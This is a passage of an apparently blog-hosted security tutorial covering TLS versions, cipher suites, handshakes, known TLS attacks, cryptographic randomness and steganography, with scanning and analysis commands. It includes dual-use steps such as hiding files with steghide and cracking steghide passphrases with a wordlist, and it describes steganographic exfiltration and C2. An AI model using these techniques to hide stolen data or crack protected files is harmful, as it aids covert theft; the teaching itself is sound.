curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://crt.sh/?q=yourdomain.com&amp;amp;output=json"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import json,sys
certs = json.load(sys.stdin)
for c in certs[:10]:
    print(c['not_before'][:10], c['name_value'], c['issuer_name'][:50])
"&lt;/span&gt;
&lt;span class="c"&gt;# Review for unexpected certificates issued for your domain&lt;/span&gt;

&lt;span class="c"&gt;# Generate self-signed certificate (for testing/internal use only):&lt;/span&gt;
openssl req &lt;span class="nt"&gt;-x509&lt;/span&gt; &lt;span class="nt"&gt;-newkey&lt;/span&gt; rsa:4096 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-keyout&lt;/span&gt; private.pem &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-out&lt;/span&gt; certificate.pem &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-days&lt;/span&gt; 365 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-subj&lt;/span&gt; &lt;span class="s2"&gt;"/CN=localhost/O=Test/C=US"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-addext&lt;/span&gt; &lt;span class="s2"&gt;"subjectAltName=DNS:localhost,IP:127.0.0.1"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. SSL/TLS — How Secure Connections Work
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 SSL to TLS Evolution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Timeline:
  SSL 1.0 (Netscape, 1994): Never released (serious flaws found)
  SSL 2.0 (1995):           Released, flaws found quickly
  SSL 3.0 (1996):           Still broken (POODLE 2014 — CVE-2014-3566)
  TLS 1.0 (1999):           RFC 2246, BEAST vulnerability (CVE-2011-3389)
  TLS 1.1 (2006):           Fixed BEAST, still has issues
  TLS 1.2 (2008):           Current acceptable standard
  TLS 1.3 (2018):           Current best practice, significant redesign

Deprecated (should not be used):
  SSL 2.0, SSL 3.0: COMPLETELY BROKEN, disable everywhere
  TLS 1.0, TLS 1.1: Deprecated by RFC 8996 (2021)
                    Chrome/Firefox removed support 2020

  Current standard: TLS 1.2 minimum, TLS 1.3 preferred
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 What TLS Provides
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS provides a secure channel with three properties:

1. Confidentiality: All application data encrypted
   (Before TLS: plaintext visible to any network observer)

2. Integrity: Data cannot be modified without detection
   (HMAC or AEAD authentication tags detect any tampering)

3. Authentication: Server (and optionally client) identity verified
   (Via certificate chain validation)

What TLS does NOT protect:
  - Metadata: IP addresses, TCP ports, timing, volume
  - Server-side application vulnerabilities
  - The DNS lookup that led to the connection
  - Traffic analysis (size and timing patterns)
  - Certificate validity (user must check/browser must validate)

TLS components:
  Record Protocol: Fragments, compresses (deprecated), encrypts, MACs application data
  Handshake Protocol: Negotiates cipher suite, authenticates server, establishes keys
  Alert Protocol: Signals errors and close notifications
  Change Cipher Spec: Signals switch to negotiated cipher (TLS 1.2 only)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 TLS Cipher Suites
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS 1.2 Cipher Suite naming (verbose):
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

  TLS:         Protocol
  ECDHE:       Key Exchange (Elliptic Curve Diffie-Hellman Ephemeral — forward secrecy)
  RSA:         Authentication (certificate type — RSA cert verifies server identity)
  WITH:        Separator
  AES_256_GCM: Symmetric cipher (AES 256-bit in GCM mode)
  SHA384:      HMAC algorithm for integrity (for PRF function in TLS 1.2)

Components:
  Key Exchange: ECDHE &amp;gt; DHE &amp;gt; RSA (RSA key exchange has no forward secrecy — avoid)
  Auth:         ECDSA &amp;gt; RSA (for certificates)
  Cipher:       AES-GCM &amp;gt; AES-CBC (GCM is authenticated, CBC requires separate MAC)
  PRF/HMAC:     SHA-384 &amp;gt; SHA-256 &amp;gt; MD5/SHA-1 (avoid weak hashes)

TLS 1.3 cipher suites (simplified, only 5 allowed):
  TLS_AES_128_GCM_SHA256         (default, fast)
  TLS_AES_256_GCM_SHA384         (high security)
  TLS_CHACHA20_POLY1305_SHA256   (mobile/embedded — faster without AES-NI)
  TLS_AES_128_CCM_SHA256         (constrained environments)
  TLS_AES_128_CCM_8_SHA256       (very constrained IoT)

  Note: TLS 1.3 separates authentication (certificate) from key exchange
        No more RSA key exchange — only ECDHE or DHE
        All TLS 1.3 cipher suites have forward secrecy by default

Weak cipher suites to detect and disable:
  *_NULL_*:    No encryption (plaintext)
  *_EXPORT_*:  40/56-bit keys (FREAK/Logjam attack)
  *_RC4_*:     RC4 stream cipher (broken since 2013)
  *_DES_*:     56-bit DES (trivially cracked)
  *_3DES_*:    112-bit 3DES (SWEET32, slow)
  *_MD5:       MD5 MAC (broken)
  *_SHA:       SHA-1 MAC (weakened)
  *RSA_WITH_*: RSA key exchange (no forward secrecy)
  *_ANON_*:    Anonymous (no authentication — trivial MITM)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. TLS Handshake — Deep Dive
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 TLS 1.2 Handshake
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS 1.2 Full Handshake:

Client                                         Server
  │                                               │
  │──── ClientHello ───────────────────────────→  │
  │  Version: TLS 1.2                             │
  │  Random: 32 bytes (includes timestamp)        │
  │  Session ID: (for resumption)                 │
  │  Cipher Suites: [list of supported]           │
  │  Extensions: SNI, ALPN, elliptic curves...    │
  │                                               │
  │ ←── ServerHello ─────────────────────────── │
  │  Version: TLS 1.2                             │
  │  Random: 32 bytes                             │
  │  Session ID: (new or resumed)                 │
  │  Cipher Suite: SELECTED ONE                   │
  │                                               │
  │ ←── Certificate ─────────────────────────── │
  │  Server's X.509 certificate(s)               │
  │  [Full chain: end-entity + intermediates]     │
  │                                               │
  │ ←── ServerKeyExchange (if ECDHE/DHE) ─────  │
  │  DH parameters + server's DH public value    │
  │  Signed with server's private key            │
  │                                               │
  │ ←── ServerHelloDone ─────────────────────── │
  │                                               │
  │ Client validates:                             │
  │   Certificate chain → trusted CA             │
  │   Server hostname matches SAN                │
  │   Not expired, not revoked                   │
  │   ServerKeyExchange signature valid          │
  │                                               │
  │──── ClientKeyExchange ──────────────────────→ │
  │  Client's DH public value                    │
  │                                               │
  │  [Both compute: Pre-Master Secret from DH]   │
  │  [Both derive: Master Secret]                │
  │  [Both derive: 4 session keys from MS]       │
  │    client_write_key, server_write_key        │
  │    client_write_MAC, server_write_MAC        │
  │                                               │
  │──── ChangeCipherSpec ───────────────────────→ │
  │  "I'll now use the negotiated cipher"        │
  │                                               │
  │──── Finished (encrypted) ───────────────────→ │
  │  HMAC of entire handshake transcript         │
  │  Verifies nothing was tampered during setup  │
  │                                               │
  │ ←── ChangeCipherSpec ─────────────────────── │
  │ ←── Finished (encrypted) ─────────────────── │
  │                                               │
  │ ════════ Application Data (encrypted) ═══════ │

Total round trips: 2-RTT (2 full round trips before data flows)
This latency matters — TLS 1.3 reduces to 1-RTT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 TLS 1.3 Handshake
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS 1.3 Handshake — Redesigned for speed and security:

Client                                         Server
  │                                               │
  │──── ClientHello ───────────────────────────→  │
  │  Version: TLS 1.3                             │
  │  Random: 32 bytes                             │
  │  Cipher Suites: [TLS 1.3 only suites]        │
  │  key_share: Client's ECDH public key          │
  │  (Client guesses server's preferred group)    │
  │  supported_versions: [TLS 1.3, TLS 1.2...]   │
  │  pre_shared_key: (for 0-RTT resumption)       │
  │                                               │
  │  [Server can now compute handshake key]       │
  │  [Server begins encrypting immediately]       │
  │                                               │
  │ ←── ServerHello ─────────────────────────── │
  │  Version: TLS 1.3                             │
  │  key_share: Server's ECDH public key          │
  │  (Both now compute shared secret)             │
  │                                               │
  │ ←── {Certificate} ────────────────────────── │ ← Encrypted!
  │ ←── {CertificateVerify} ──────────────────── │ ← Encrypted!
  │  Signature over entire handshake transcript  │
  │ ←── {Finished} ────────────────────────────── │ ← Encrypted!
  │                                               │
  │ Client validates certificate (encrypted)     │
  │                                               │
  │──── {Finished} ─────────────────────────────→ │
  │                                               │
  │ ════════ Application Data (encrypted) ═══════ │

Key improvements in TLS 1.3:
  1-RTT: Faster by one full round trip (vs TLS 1.2's 2-RTT)
  0-RTT: Session resumption can send data in the first message
         (Security tradeoff: 0-RTT data not forward secret, replay risk)

  No more:
    RSA key exchange (eliminated — only ECDHE/DHE)
    CBC cipher suites (GCM and ChaCha20 only)
    MD5, SHA-1 in MAC (SHA-256 minimum)
    DH with &amp;lt;2048-bit primes
    Export cipher suites
    Session renegotiation (was a security issue in TLS 1.2)
    Compression (CRIME attack)

  Certificate and CertificateVerify now encrypted:
    In TLS 1.2, certificate was sent in plaintext → server identity visible to observer
    In TLS 1.3, certificate encrypted → privacy improvement

  Encrypted ClientHello (ECH) — draft standard:
    Extends encryption to ClientHello (SNI currently plaintext)
    When standardised: server hostname hidden from observer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 TLS Attack Landscape
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BEAST (CVE-2011-3389):
  Target: TLS 1.0 CBC mode
  Method: Chosen-boundary attack against CBC's predictable IV
  Impact: Decrypt HTTPS session cookies
  Fix: Use TLS 1.2+ (fixed IV handling), use RC4 (now broken too), AES-GCM

CRIME (CVE-2012-4929):
  Target: TLS compression (DEFLATE)
  Method: Compression oracle — inject guesses, observe size change
  Impact: Recover HTTPS cookies
  Fix: Disable TLS compression (disabled by default in all modern implementations)

POODLE (CVE-2014-3566):
  Target: SSL 3.0 CBC mode
  Method: Padding oracle after downgrade to SSL 3.0
  Impact: Decrypt session cookies
  Fix: Disable SSL 3.0 entirely, use TLS 1.2+

Heartbleed (CVE-2014-0160):
  Target: OpenSSL heartbeat extension (TLS extension)
  Method: Missing bounds check — request more data than sent
  Impact: Up to 64KB of server memory per request
          Exposed: private keys, session tickets, passwords, other secrets
  Fix: Patch OpenSSL (1.0.1g), reissue all certificates, rotate secrets

FREAK (CVE-2015-0204):
  Target: Export cipher suites (forced by 90s US regulations)
  Method: Force server to use RSA-EXPORT (512-bit) → factor in hours
  Impact: Decrypt HTTPS connections to affected servers
  Fix: Disable all EXPORT cipher suites

Logjam (CVE-2015-4000):
  Target: DHE-EXPORT (512-bit DH parameters)
  Method: Precompute discrete logarithm table for 512-bit primes
          NSA-scale attack feasible against 1024-bit primes
  Impact: Passive decryption of many HTTPS+VPN connections
  Fix: Minimum 2048-bit DH parameters, use ECDHE instead

ROBOT (2017):
  Target: RSA PKCS#1v1.5 padding in TLS
  Method: Bleichenbacher's 1998 oracle attack resurrected
          Server's different error responses for valid vs invalid padding
  Impact: Decrypt RSA-encrypted TLS sessions (if no forward secrecy)
  Affected: F5, Citrix, Cisco, Palo Alto, Radware, many others
  Fix: Constant-time RSA decryption, use ECDHE (no RSA key exchange)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# TLS security testing:&lt;/span&gt;

&lt;span class="c"&gt;# Test TLS configuration comprehensively:&lt;/span&gt;
&lt;span class="c"&gt;# testssl.sh (most comprehensive):&lt;/span&gt;
bash testssl.sh target.com:443

&lt;span class="c"&gt;# Quick checks:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,ssl-dh-params &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; 443 target.com

&lt;span class="c"&gt;# Check supported TLS versions:&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;version &lt;span class="k"&gt;in &lt;/span&gt;ssl2 ssl3 tls1 tls1_1 tls1_2 tls1_3&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    if &lt;/span&gt;openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 -&lt;span class="nv"&gt;$version&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
            &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"CONNECTED"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$version&lt;/span&gt;&lt;span class="s2"&gt;: SUPPORTED"&lt;/span&gt;
    &lt;span class="k"&gt;else
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$version&lt;/span&gt;&lt;span class="s2"&gt;: NOT supported"&lt;/span&gt;
    &lt;span class="k"&gt;fi
done&lt;/span&gt;

&lt;span class="c"&gt;# Check certificate details and chain:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 &lt;span class="nt"&gt;-showcerts&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Not After|Signature Algorithm|Public-Key:"&lt;/span&gt;

&lt;span class="c"&gt;# Decrypt TLS traffic (requires pre-master secret log):&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;SSLKEYLOGFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/ssl_keys.log
curl https://target.com/api/data  &lt;span class="c"&gt;# Keys logged&lt;/span&gt;
&lt;span class="c"&gt;# Open in Wireshark: Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log&lt;/span&gt;

&lt;span class="c"&gt;# Test HSTS:&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; https://target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"strict-transport"&lt;/span&gt;
&lt;span class="c"&gt;# max-age should be ≥31536000 (1 year)&lt;/span&gt;
&lt;span class="c"&gt;# includeSubDomains recommended&lt;/span&gt;
&lt;span class="c"&gt;# preload for browser preload list&lt;/span&gt;

&lt;span class="c"&gt;# Certificate pinning test:&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; &lt;span class="nt"&gt;--pinnedpubkey&lt;/span&gt; sha256//HASH&lt;span class="o"&gt;=&lt;/span&gt; https://target.com
&lt;span class="c"&gt;# If pinning correct: 200&lt;/span&gt;
&lt;span class="c"&gt;# If wrong pin: SSL error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Cryptographic Randomness
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 Why Randomness Is Critical
&lt;/h3&gt;

&lt;p&gt;Cryptography requires random numbers for key generation, IVs, salts, nonces, and ephemeral DH values. If these "random" values are predictable, the entire cryptographic system fails regardless of the strength of the algorithm.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What breaks when randomness is weak:

Key generation: Predictable private key → attacker knows your key without brute force
AES IV:         Predictable IV → pattern in ciphertext, BEAST-like attacks
ECDSA nonce:    Predictable k → private key recovery (PS3, Android Bitcoin wallet)
Salt:           Predictable salt → precomputed table attacks possible
Session tokens: Predictable tokens → session hijacking without authentication
VPN key:        Predictable key → full traffic decryption (DUHK attack 2017)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 PRNG vs CSPRNG
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PRNG (Pseudo-Random Number Generator):
  Deterministic algorithm that produces "random-looking" numbers
  Seeded with initial value
  Given seed: entire sequence is deterministic

  Examples: rand() in C, Math.random() in JavaScript
  Use for: simulation, games, non-security randomness
  NEVER use for: cryptographic keys, tokens, passwords, security

  Attack: if attacker knows seed (e.g., current timestamp), they can
          predict all "random" numbers → broken crypto

CSPRNG (Cryptographically Secure PRNG):
  Designed to be computationally infeasible to predict next output
  Even with knowledge of all previous output
  Forward secrecy: learning current state doesn't reveal past output
  Backward secrecy: predicting future output is infeasible

  Examples:
  Linux: /dev/urandom (modern Linux: uses CSPRNG, safe for all uses)
  Linux: /dev/random (legacy: blocks until entropy; /dev/urandom is preferred)
  Windows: CryptGenRandom, BCryptGenRandom
  OpenSSL: RAND_bytes()
  Python: os.urandom(), secrets module

/dev/random vs /dev/urandom (Linux):
  Myth: /dev/urandom is weaker than /dev/random
  Truth: Both use same CSPRNG kernel; /dev/random blocks unnecessarily
  Modern Linux (kernel 5.6+): both behave identically
  ALWAYS use: /dev/urandom or the secrets module
  NEVER block applications waiting for /dev/random
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 Entropy
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Entropy in cryptography: measure of unpredictability (bits)

High entropy: 256-bit key from CSPRNG (truly unpredictable, 2^256 possibilities)
Low entropy:  256-bit key from timestamp (only milliseconds in a day)

Entropy sources (Linux kernel entropy pool):
  Hardware: CPU timing jitter, thermal noise, hardware RNG (RDRAND)
  Devices: Disk I/O timing, network packet arrival timing
  User: Keyboard/mouse timing
  Early boot: Low entropy problem (all sources above unavailable)

The "entropy starvation" problem:
  Embedded systems, VMs, and containers often lack entropy at boot

  Impact: If CSPRNG generates keys before sufficient entropy is collected:
          Keys may be predictable

  Real attack (2012): Heninger et al. analysed millions of RSA public keys
                      Found many shared factors (same primes in different keys)
                      Root cause: entropy-starved key generation at first boot
                      Multiple different devices generated the same "random" primes

  Solution:
  Hardware RNG: Intel RDRAND instruction (hardware true RNG)
  virtio-rng: Feed entropy to VMs from host
  haveged: Software entropy daemon
  rng-tools: Hardware RNG interface daemon
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Cryptographic randomness in practice:&lt;/span&gt;

&lt;span class="c"&gt;# Generate secure random values:&lt;/span&gt;
openssl rand &lt;span class="nt"&gt;-hex&lt;/span&gt; 32                       &lt;span class="c"&gt;# 32 bytes = 256-bit random key (hex)&lt;/span&gt;
openssl rand &lt;span class="nt"&gt;-base64&lt;/span&gt; 32                    &lt;span class="c"&gt;# 32 bytes as base64&lt;/span&gt;
openssl rand &lt;span class="nt"&gt;-out&lt;/span&gt; keyfile.bin 32           &lt;span class="c"&gt;# Write 32 random bytes to file&lt;/span&gt;

&lt;span class="c"&gt;# Python — ALWAYS use secrets module for cryptographic randomness:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import secrets, os

# Secure token for session IDs, CSRF tokens, etc:
token = secrets.token_hex(32)              # 64-char hex string (256 bits)
print(f"Secure token: {token}")

# Secure random bytes for key material:
key = secrets.token_bytes(32)              # 32 random bytes
print(f"Key (hex): {key.hex()}")

# os.urandom() is equivalent and always cryptographically secure:
key2 = os.urandom(32)
print(f"os.urandom key: {key2.hex()}")

# WRONG: Do not use random module for security:
import random
insecure = random.randbytes(32)
# This is NOT cryptographically secure — don't use for keys/tokens/salts
# random.randbytes looks secure but can be predicted if seed is known
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Check entropy on Linux:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/kernel/random/entropy_avail    &lt;span class="c"&gt;# Current entropy bits available&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/kernel/random/pool_size        &lt;span class="c"&gt;# Entropy pool size&lt;/span&gt;

&lt;span class="c"&gt;# Check hardware RNG availability:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /sys/devices/virtual/misc/hw_random/rng_available
&lt;span class="nb"&gt;ls&lt;/span&gt; /dev/hwrng                                &lt;span class="c"&gt;# Hardware RNG device&lt;/span&gt;

&lt;span class="c"&gt;# Install entropy daemon for servers/VMs:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;haveged
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start haveged
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/kernel/random/entropy_avail    &lt;span class="c"&gt;# Should be much higher now&lt;/span&gt;

&lt;span class="c"&gt;# Test PRNG quality (diehard/NIST tests):&lt;/span&gt;
openssl rand 1000000 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/random.bin
ent /tmp/random.bin                          &lt;span class="c"&gt;# Entropy test (install: apt install ent)&lt;/span&gt;
&lt;span class="c"&gt;# Entropy: should be close to 8.00 bits/byte&lt;/span&gt;
&lt;span class="c"&gt;# Chi-square: should be within expected range&lt;/span&gt;
&lt;span class="c"&gt;# Serial correlation: should be close to 0.00&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Weak randomness is the silent killer of cryptographic systems. AES-256 with a predictable key provides no security. ECDSA with a repeated nonce loses the private key. Session tokens generated with timestamp seeds are trivially predictable. Always use CSPRNG (/dev/urandom, os.urandom(), secrets module) and never use general-purpose PRNGs (rand(), random.random()) for any security purpose.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  13. Steganography
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 What Steganography Is
&lt;/h3&gt;

&lt;p&gt;Steganography (Greek: "hidden writing") is the practice of concealing a message within another, non-secret, file or communication. Unlike cryptography, which makes content unreadable, steganography hides the existence of the message itself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Steganography vs Cryptography:

Cryptography:
  "Hello World" → encrypted → "x7Kp2mQ9..." (obviously encrypted)
  Attacker knows: a secret message exists, cannot read it

Steganography:
  "Hello World" hidden inside a photo of a cat
  Attacker sees: a photo of a cat
  Attacker doesn't know: a secret message exists

Combined (crypto + stego):
  Encrypt "Hello World" → encrypt it → hide encrypted data in cat photo
  Even if stego is detected: encrypted content cannot be read
  This is what sophisticated threat actors and C2 channels use
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 Steganography Techniques
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Image Steganography — LSB (Least Significant Bit):

  Each pixel in a 24-bit RGB image has: R(8 bits) G(8 bits) B(8 bits)
  Changing the least significant bit changes colour by 1/256 — visually imperceptible

  Original pixel: R=11010110, G=10010100, B=11100010
  Modified pixel: R=11010111, G=10010100, B=11100011
  (Changed LSB of R and B to embed 2 bits of hidden data)

  Capacity: 3 bits per pixel (one per RGB channel)
  24-bit 1920×1080 image: 1920×1080×3 = 6.2 million bits = ~750KB of hidden data

  Detection: Statistical analysis (chi-square test detects LSB pattern anomalies)
  Steganalysis tools: StegExpose, StegoSuite

Audio Steganography:
  Hide data in audio file LSBs (imperceptible to human hearing)
  Phase modification: hide in phase of audio signal
  Echo hiding: encode data in echo parameters

Network Steganography:
  ICMP payload: hide data in ping packet payload
  TCP timestamp: encode data in TCP timestamp option
  DNS: hide data in subdomain labels or response padding
  HTTP headers: hide in custom headers or timing

  This is particularly relevant for C2 (command and control):
  Malware uses network steganography to blend C2 traffic with legitimate traffic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 Steganography in Security
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Offensive uses:
  Data exfiltration: hide stolen data in images uploaded to social media
  C2 communication: hide commands in public social media posts/images
  Malware delivery: embed malware in documents, images

  Real examples:
  Turla APT (2019): hid C2 commands in comments on Britney Spears' Instagram posts
  Duqu malware: used custom steganography to exfiltrate data
  Multiple APT groups: use image steganography for C2 communications

Defensive considerations:
  DLP systems must inspect image content, not just file type
  Network monitoring must analyse payload patterns, not just protocols
  Outbound traffic should be analysed for steganographic channels
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Steganography in practice:&lt;/span&gt;

&lt;span class="c"&gt;# steghide — hide data in JPEG/BMP/WAV/AU:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;steghide

&lt;span class="c"&gt;# Hide a file in an image:&lt;/span&gt;
steghide embed &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-cf&lt;/span&gt; photo.jpg &lt;span class="se"&gt;\ &lt;/span&gt;             &lt;span class="c"&gt;# Cover file (the innocent-looking carrier)&lt;/span&gt;
    &lt;span class="nt"&gt;-sf&lt;/span&gt; secret.txt &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# Secret file to hide&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"stegopassword"&lt;/span&gt;           &lt;span class="c"&gt;# Passphrase (encrypts the hidden data)&lt;/span&gt;

&lt;span class="c"&gt;# Extract hidden data:&lt;/span&gt;
steghide extract &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-sf&lt;/span&gt; photo.jpg &lt;span class="se"&gt;\ &lt;/span&gt;             &lt;span class="c"&gt;# Stego file&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"stegopassword"&lt;/span&gt;           &lt;span class="c"&gt;# Passphrase&lt;/span&gt;
&lt;span class="c"&gt;# Extracts secret.txt if passphrase correct&lt;/span&gt;

&lt;span class="c"&gt;# stegseek — fast steghide password cracker:&lt;/span&gt;
stegseek photo.jpg /usr/share/wordlists/rockyou.txt

&lt;span class="c"&gt;# zsteg — detect LSB steganography in PNG/BMP:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;gem &lt;span class="nb"&gt;install &lt;/span&gt;zsteg
zsteg suspicious_image.png       &lt;span class="c"&gt;# Detect hidden data&lt;/span&gt;
zsteg &lt;span class="nt"&gt;-a&lt;/span&gt; suspicious_image.png    &lt;span class="c"&gt;# Try all methods&lt;/span&gt;

&lt;span class="c"&gt;# binwalk — find embedded files in any binary:&lt;/span&gt;
binwalk suspicious_file.jpg      &lt;span class="c"&gt;# Shows embedded files&lt;/span&gt;
binwalk &lt;span class="nt"&gt;-e&lt;/span&gt; suspicious_file.jpg   &lt;span class="c"&gt;# Extract embedded files&lt;/span&gt;

&lt;span class="c"&gt;# exiftool — check metadata (stego sometimes in EXIF):&lt;/span&gt;
exiftool photo.jpg | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^$"&lt;/span&gt;  &lt;span class="c"&gt;# All metadata&lt;/span&gt;
exiftool &lt;span class="nt"&gt;-all&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; clean_photo.jpg     &lt;span class="c"&gt;# Strip ALL metadata&lt;/span&gt;

&lt;span class="c"&gt;# Detect LSB steganography with statistical analysis:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from PIL import Image
import numpy as np

def detect_lsb_stego(filename):
    img = Image.open(filename)
    pixels = np.array(img)

    # Get all LSBs
    lsbs = pixels &amp;amp; 1  # Extract LSB of each channel

